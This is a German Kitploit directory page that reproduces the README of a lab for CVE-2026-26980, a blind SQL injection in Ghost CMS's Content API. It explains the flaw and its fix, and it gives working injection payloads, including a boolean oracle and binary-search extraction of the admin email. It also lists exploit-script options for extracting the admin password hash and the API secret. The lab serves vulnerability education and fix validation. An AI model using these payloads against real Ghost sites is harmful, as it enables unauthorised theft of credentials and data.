Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/dinosn/ghost-cve-2026-26980
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungDatenbanksicherheitLabs & Praxis
GitHubdinosn/ghost-cve-2026-26980

ghost-cve-2026-26980

CVE-2026-26980 — Ghost CMS Content API SQL-Injection-Lab (unauthenticated blind SQLi über die Slug-Filter-Reihenfolge)

Repository anzeigen
1943vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-26980 — Ghost CMS Content API SQL Injection Lab

Unauthentifizierte blinde SQL-Injection in Ghost CMS über den Slug-Filter-Mechanismus der Content API, die beliebige Datenbankabfragen von jeder Ghost-Instanz ohne Anmeldedaten ermöglicht.

CVECVE-2026-26980
AdvisoryGHSA-w52v-v783-gw97
CVSS9.4 (Critical)
CWECWE-89 (SQL Injection)
BetroffenGhost 3.24.0 -- 6.19.0
BehobenGhost 6.19.1
Authentifizierung erforderlichKeine (Content-API-Schlüssel ist standardmäßig öffentlich)
Credit/ReferenzenNicholas Carlini mit Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg]

Haftungsausschluss -- Dieses Labor dient ausschließlich autorisierten Sicherheitstests, der Ausbildung und defensiver Forschung. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.

Übersicht

Die Content API von Ghost unterstützt das Filtern von Tags und Beiträgen nach Slug mithilfe der Array-Notation: filter=slug:[tag-a,tag-b]. Intern erstellt eine Hilfsfunktion eine ORDER BY CASE-Anweisung, um die angeforderte Slug-Reihenfolge beizubehalten. Vor v6.19.1 wurden benutzerbereitgestellte Slug-Werte ohne Parametrisierung direkt in dieses SQL interpoliert:

root@kitploit:~
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VERWUNDBAR)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

Der Content-API-Schlüssel ist in das HTML jeder Ghost-Website eingebettet (data-key="..."), was dies zu einer vollständig nicht authentifizierten Angriffsfläche macht.

Schwachstellenmechanismus

Der NQL-Bypass

Die NQL-Abfragesprache von Ghost validiert Filtereingaben und lehnt rohe einfache Anführungszeichen oder Leerzeichen ab. NQL akzeptiert jedoch in einfache Anführungszeichen eingeschlossene Werte innerhalb der Array-Notation (slug:['value']) und übergibt die Anführungszeichen als Teil des Literals. Der slugFilterOrder-Regex extrahiert diese Werte und interpoliert sie -- einschließlich der Anführungszeichen -- in das SQL:

root@kitploit:~
Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL übergibt Anführungszeichen als Literalzeichen

Generiertes SQL

Nach der Interpolation wird das ORDER BY zu:

root@kitploit:~
CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

Im Standard-SQL-Modus von MySQL ist || ein OR und '' ist falsy. Dies ergibt ein sauberes boolesches Orakel:

BedingungCASE-ErgebnisAuswirkung
TRUE'' OR 0 OR '' = 0Normale Antwort (HTTP 200)
FALSE'' OR EXP(710) OR ''DOUBLE-Überlauffehler (HTTP 500)

Datenextraktion

Mit dem etablierten Orakel wird die standardmäßige blinde Extraktion per binärer Suche angewendet:

root@kitploit:~
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

Die SUBSTR(... FROM pos FOR len)-Syntax vermeidet Kommas (nach denen slugFilterOrder aufteilt).

Screenshots

Boolesches Orakel: TRUE-Bedingung (HTTP 200) vs. FALSE-Bedingung (HTTP 500)

TRUE (1=1) → HTTP 200FALSE (1=0) → HTTP 500
TRUEFALSE

Datenextraktion per binärer Suche

Datenextraktion

Fix-Validierung: v6.18.0 vs. v6.19.1

Fix-Validierung

Weitere Screenshots

Ghost-Frontend

Ghost-Frontend

Content-API-Schlüssel im Seitenquelltext

API-Schlüssel

Normale API-Antwort

Normale Anfrage

Der Fix (v6.19.1)

Der Fix ersetzt die String-Interpolation durch parametrisierte Bindungen:

root@kitploit:~
// BEHOBEN
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

Das crud.js-Plugin wurde aktualisiert, um Bindungen durch orderByRaw zu leiten, und @tryghost/bookshelf-plugins wurde auf 0.6.29 angehoben, das Bindungsunterstützung hinzufügt.

Labor-Setup

Voraussetzungen

  • Docker & Docker Compose
  • Python 3.8+ mit requests

Schnellstart

root@kitploit:~
# Repository klonen und betreten
git clone <this-repo> && cd ghost-cve-2026-26980

# Python-Abhängigkeit installieren
pip install -r requirements.txt

# Verwundbare Ghost-Instanz starten (6.18.0 + MySQL 8)
docker compose up -d

# ~45 Sekunden warten, bis Ghost initialisiert ist, dann den Exploit ausführen
python3 exploit.py --url http://localhost:2368

Den Fix validieren

root@kitploit:~
# Zusätzlich die gepatchte Ghost 6.19.1 auf Port 2369 starten
docker compose --profile fixed up -d

# ~45 Sekunden warten, dann bestätigen, dass der Fix die Injection blockiert
python3 exploit.py --url http://localhost:2369 --validate-fix

Validierung mit einem Befehl

root@kitploit:~
bash validate.sh

Aufräumen

root@kitploit:~
docker compose --profile fixed down -v

Exploit-Nutzung

root@kitploit:~
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            Ghost-URL (Standard: http://localhost:2368)
  --validate-fix       Bestätigen, dass das Ziel NICHT verwundbar ist
  --extract-password   Zusätzlich den Admin-bcrypt-Hash extrahieren
  --extract-api-key    Zusätzlich das Admin-API-Geheimnis extrahieren
  --content-key KEY    Setup überspringen, diesen Content-API-Schlüssel direkt verwenden
  -v, --verbose        Orakelergebnisse pro Abfrage anzeigen

Beispielausgabe

root@kitploit:~
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================

[*] Warte auf Ghost unter http://localhost:2368 bereit
[*] Ghost einrichten (admin: [email protected])
[+] Setup abgeschlossen — Sitzung wird hergestellt
[+] Angemeldet
[+] Content-API-Schlüssel: ad63c06a71457583ea58f050c1
[+] Anker-Slug: news

[*] Phase 1 — boolesche Blind-Verifikation
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] Boolesches Orakel bestätigt — VERWUNDBAR

[*] Phase 2a — Admin-E-Mail extrahieren
  Länge der Admin-E-Mail messen... 21 Zeichen
  Extrahiere: [email protected]
  [+] E-Mail: [email protected]

============================================================
  EXPLOITATION-ZUSAMMENFASSUNG
============================================================
  Ziel:          http://localhost:2368
  CVE:           CVE-2026-26980
  Content-Schlüssel:   ad63c06a71457583ea58f050c1
  Admin-E-Mail:   [email protected]
============================================================

Ebenfalls in v6.19.1 behoben: CVE-2026-29053 (RCE über Themes)

Eine zweite Schwachstelle wurde im selben Release gepatcht. Der {{#get}}-Handlebars-Helper von Ghost verwendete das Paket jsonpath (das von static-eval abhängt), um Pfadausdrücke aufzulösen. Bösartige Themes konnten Ausdrücke konstruieren, die über Prototyp-Traversal Function() erreichten und so serverseitige Codeausführung ermöglichten.

CVECVE-2026-29053
BetroffenGhost 0.7.2 -- 6.19.0
AuthAdmin (Theme-Upload)
Fixjsonpath durch eine eingeschränkte querySimplePath()-Funktion ersetzt, die nur Punktnotation, [N] und [*] unterstützt

Dieses Labor konzentriert sich auf CVE-2026-26980, da diese nicht authentifiziert und für externe Angreifer wirkungsvoller ist.

Dateien

root@kitploit:~
.
├── README.md              # Diese Datei
├── docker-compose.yml     # Ghost 6.18.0 (verwundbar) + 6.19.1 (behoben) mit MySQL 8
├── exploit.py             # Vollständiger PoC: Setup, Verifikation, Extraktion
├── validate.sh            # End-to-End-Validierungs-Wrapper
└── requirements.txt       # Python-Abhängigkeiten

Referenzen

  • Ghost Security Advisory GHSA-w52v-v783-gw97
  • NVD-Eintrag CVE-2026-26980
  • Fix-Commit: SQL-Injection in der Slug-Filter-Reihenfolge der Content API
  • Fix-Commit: jsonpath durch benutzerdefinierten Pfad-Resolver ersetzt
  • CVE-2026-29053 Writeup (Hidden Investigations)

Lizenz

Dieses Labor wird unter der MIT-Lizenz für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.

Tool herunterladen